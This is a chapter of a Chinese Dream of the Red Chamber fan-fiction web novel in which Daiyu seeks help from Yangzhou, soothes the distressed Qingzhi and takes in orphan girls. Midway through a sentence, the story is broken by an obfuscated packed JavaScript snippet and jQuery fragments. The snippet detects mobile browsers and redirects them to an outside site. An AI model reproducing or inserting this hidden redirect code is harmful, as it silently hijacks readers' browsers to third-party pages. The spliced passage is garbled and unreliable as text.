64.尺素求援托故旧,稚心啼忆碎肝肠

作品:《清芷伴玉[红楼GL]

    晨起时落了场细雨,到辰初才渐渐止了。庄子屋檐下还滴着水,青石地面积着一洼洼的亮。黛玉披了件藕荷色薄氅衣,立在廊下看院中那几株芭蕉——新叶洗得碧绿,衬着灰白的天,倒有种素净的美。


    雪雁从灶房端了早食来:一碟新腌的嫩姜,一碟酱瓜,一笼菜馅包子,并小米粥。摆好了,轻声道:“姑娘用些罢。清芷姑娘还睡着,李婆子温着粥呢。”


    黛玉“嗯”了一声,却不动筷。目光落在院角那口井上,怔怔的。昨日收到扬州林诚伯的信,说父亲坟茔的松柏今春生得极好,他去祭扫时,见坟头干干净净,守墓的佣人十份得用。信末委婉问及她在京中境况,说若有用得着处,千万开口。


    是该开口了。


    她转身回屋,走到书案前。黄花梨的案面光洁如镜,上头摆着父亲留下的那方端砚。磨了墨,铺开素笺。


    笔尖落下,字迹清秀有力:


    “诚伯如晤:京中诸事尚安,惟庄院新居,外务繁多,黛玉一介女流,实难周全。闻修远兄精明干练,若得遣来京中相助,则内外有倚,黛玉感激不尽。扬州老宅与父亲坟茔,全赖诚伯费心照拂,春秋二祭,香火勿绝。另附上京中产业清单,有不明处,修远兄来后可细询……”


    写到这里,她顿了顿。清单是昨夜就理好的——通州庄子两处,京郊田庄三处,鼓楼大街绸缎铺一间,琉璃厂书肆半股。这些都是父亲生前置下,这些年由贾琏代管,账目虽清,终究隔了一层。


    她添上一笔:“诸产业历年账册,已命人整理齐备,待修远兄查验。”


    封好信,叫来方杞:“劳烦管事托稳妥人,快马送去扬州。”


    方杞双手接过:“姑娘放心,七日内必到。”


    信送出去,心头一块石头落了地。黛玉这才坐下用早饭。包子还温着,菜馅是荠菜拌豆腐,清香可口。她慢慢吃着,听外头渐渐有了人声——庄户们下田了,孩子们在院外嬉闹。


    忽然,里间传来哭声。


    黛玉忙放下筷子进去。见清芷坐在床上,泪珠子断了线似的往下掉,抽抽噎噎的:“我……我要回家……不玩了……妈妈……我要妈妈……”


    雪雁在一旁急得团团转:“清芷姑娘乖,莫哭……”


    黛玉走过去,在床边坐下,轻轻将清芷揽进怀里:“芷儿做梦了?”


    “不是梦……”清芷哭得打嗝,“这里不是横店……我要回家……我要妈妈……”


    黛玉心头像被针扎了一下。她抚着清芷的背,声音放得极柔:“芷儿乖,等……等这出戏拍完了,姐姐就带你回家,好不好?”


    “不好!”清芷忽然挣开她,红着眼睛喊,“你骗人!这里根本没有摄像机,没有拍戏!你们都是骗子!我要妈妈!我要回家!”


    喊到最后,声音嘶哑,脸涨得通红。她跳下床就要往外冲,被雪雁一把抱住。


    黛玉看着她这般模样,眼眶也红了。她重新将清芷搂住,不管她如何挣扎,只紧紧抱着:“芷儿不怕……姐姐在这儿……姐姐陪着你……”


    清芷挣不动了,趴在她肩上大哭,哭得浑身发抖。那哭声里全是委屈、害怕、茫然,听得人心碎。


    黛玉的眼泪终于掉下来,滴在清芷的发间。她轻轻拍着她的背,哼起一首扬州小调——那是小时候母亲哄她睡觉时唱的:


    “乖乖囡囡睡觉觉,月亮娘娘笑弯腰……”


    调子温软,词句简单。清芷渐渐止了哭,抽噎着,听了一会儿,忽然小声说:“我妈妈……也唱过这个……”


    “是吗?”黛玉声音哽咽,“那芷儿闭上眼睛,就当妈妈在唱,好不好?”


    清芷真的闭上了眼,长长的睫毛还湿着。黛玉继续哼着,一遍又一遍。不知哼了多久,怀里的人呼吸渐渐均匀,竟是睡着了。


    雪雁轻手轻脚递过帕子,黛玉接过,擦了擦清芷脸上的泪痕,又擦了擦自己的。将清芷放回床上,盖好被子,这才起身。


    走到外间,腿一软,险些站不住。


    “姑娘!”雪雁忙扶住。


    黛玉摆摆手,走到窗前,望着外头湿漉漉的庭院,许久没有说话。方才那一场哭闹,耗尽了她所有力气。可她不能倒,倒下了,清芷怎么办?梅影堂那些孩子怎么办?


    “姑娘,”雪雁低声劝,“要不……再请个大夫瞧瞧?清芷姑娘这样,总不是法子……”


    “请过了。”黛玉轻声道,“京城里有名的大夫,悄悄请来看过。都说脉象无碍,是心症,药石难医。”


    只能等。等一个渺茫的奇迹。


    这时,外头传来喧哗声。方杞家的匆匆进来,面色为难:“姑娘,外头来了好些人……”


    “什么事?”


    “都是附近村里的,听说姑娘这儿收孤女,带着孩子来了……”方杞家的叹气,“有七八个呢,都是没了爹娘的,最大的十二三,最小的才五岁。跪在外头不肯走,说只要给口饭吃,做牛做马都愿意。”


    黛玉怔了怔。梅影堂本只打算收十二个,如今已满了。可外头那些……


    “我去看看。”


    庄子大门外,果然跪了一地人。多是妇人带着女孩,也有孤身一人的女童。衣裳褴褛,面黄肌瘦,见黛玉出来,一个个磕头:“求姑娘收留!”“给口饭吃就成!”“我能干活!”


    有个五六岁的小女孩,独自跪在最前面,梳着两根枯黄的小辫,眼睛大大的,却空洞无神。黛玉认得她,前日庄户说过,这孩子的爹娘开春时染了疫病,都没了。


    晴雯和陈娘子也闻讯出来了。晴雯看了看那些孩子,低声道:“姑娘,收不下这许多。咱们的米粮银钱……”


    “我知道。”黛玉打断她,目光扫过一张张绝望的脸。她看见她们眼里的渴望,看见她们瘦骨嶙峋的手,看见那个五岁女孩空洞的眼睛,好像看见了当年的自己。


    父母双亡,寄人篱下。


    她太懂那种滋味。


    “陈先生,”她转头,“您看,能再多教几个么?”


    陈娘子犹豫:“姑娘仁心,只是……屋子住不下,饭食也不够。”


    “屋子可以腾。”黛玉缓缓道,“把东厢收拾出来,打地铺。饭食……庄上还有些存粮,我再添些银钱。”


    她顿了顿,看向晴雯:“晴雯,你和陈娘子一道,仔细问问这些孩子的情况。真是孤苦无依的,留下;若有亲属可投的,赠些米粮,劝回去。收下的孩子,年龄、籍贯、家中情形,都要记清楚。”


    晴雯眼眶微红,重重点头:“我明白。”


    这一忙,便到了午后。最终留下了六个孩子:三个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254140|193921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    父母双亡的,两个被继母赶出来的,还有一个是从人牙子手里逃出来的,才八岁。


    东厢腾出来了,铺上被褥,六个孩子挤在一处。李婆子煮了一大锅肉粥,孩子们捧着碗,吃得狼吞虎咽。那个五岁的女孩叫招娣,捧着碗却不动,只呆呆地看着粥。


    晴雯蹲下身,柔声道:“怎么不吃?”


    招娣抬起空洞的眼睛:“这样好吃的粥……爹娘也能吃到吗?”


    满屋寂静。


    晴雯的眼泪流下来。她接过碗,舀起一勺粥,吹凉了送到招娣嘴边:“吃吧,吃饱了,快点长大。”


    招娣慢慢张开口,咽下那勺粥。一勺,又一勺,眼泪却大颗大颗掉进碗里。


    黛玉站在门外看着,心中也是酸楚。她转身,悄悄拭了拭眼角。


    雪雁轻声道:“姑娘,这下有十八个孩子了。每月开销……”


    “我知道。”黛玉走向正房,“我会想法子。”


    进屋时,清芷已经醒了,正坐在床上玩那个草蚱蜢。见黛玉进来,她抬起头,眼睛还肿着,却乖乖叫了声:“姐姐。”


    黛玉走过去,摸摸她的头:“还难不难受?”


    清芷摇头,小声道:“姐姐,对不起……我乱发脾气……”


    “芷儿没有错。”黛玉在她身边坐下,“是姐姐不好,没照顾好芷儿。”


    清芷靠过来,依在她肩上:“姐姐,你会不会……也不要我了?”


    “不会。”黛玉握住她的手,握得紧紧的,“姐姐永远不会不要芷儿。”


    清芷安心了,又玩起那个蚱蜢。玩着玩着,忽然说:“姐姐,外头那些小孩……也没有妈妈吗?”


    黛玉一怔:“芷儿看见了?”


    “嗯。”清芷点头,“她们哭得好伤心……跟我一样。”


    这话说得黛玉心酸。她将清芷搂紧些:“所以芷儿要乖,姐姐才能腾出手帮她们,好不好?”


    “好。”清芷认真点头,“我乖。我帮姐姐哄她们,我不哭了。”


    黛玉看着她清澈的眼睛,忽然想:也许清芷这样,也是一种福气。忘了那些痛苦,忘了那些算计,只记得最干净的情感。


    只是苦了记得的人。


    傍晚时分,雨又下了起来,淅淅沥沥的。庄子各处点起灯,炊烟混着雨雾,朦朦胧胧的。西院里传来孩子们的读书声,东厢里新来的六个孩子,正跟着陈娘子学认字:“人,一人;口,一口……”


    黛玉坐在书案前,重新翻开账册。十八个孩子,加上晴雯、陈娘子,还有庄上帮佣的婆子,每月开销至少要三十两。再加上添置衣物、笔墨、药材……她提笔,在纸上算了又算。


    存折上的银子够用几年。可坐吃山空不是办法。父亲的产业要生息,梅影堂也要想法子自给……


    雨声潺潺,夜色渐浓。


    东厢里,招娣睡着了,梦里喃喃着“娘”。西院里,春燕还在灯下绣花,想多绣一个荷包,好多换几文钱。正房里,清芷抱着布老虎,睡得安稳。


    黛玉吹熄了灯,和衣躺下。


    黑暗中,她轻轻握住清芷的手。


    前路很难,她知道。


    可再难,也得走下去。


    为了怀中这个人,为了院里那些孩子,也为了心里那点不肯灭的光。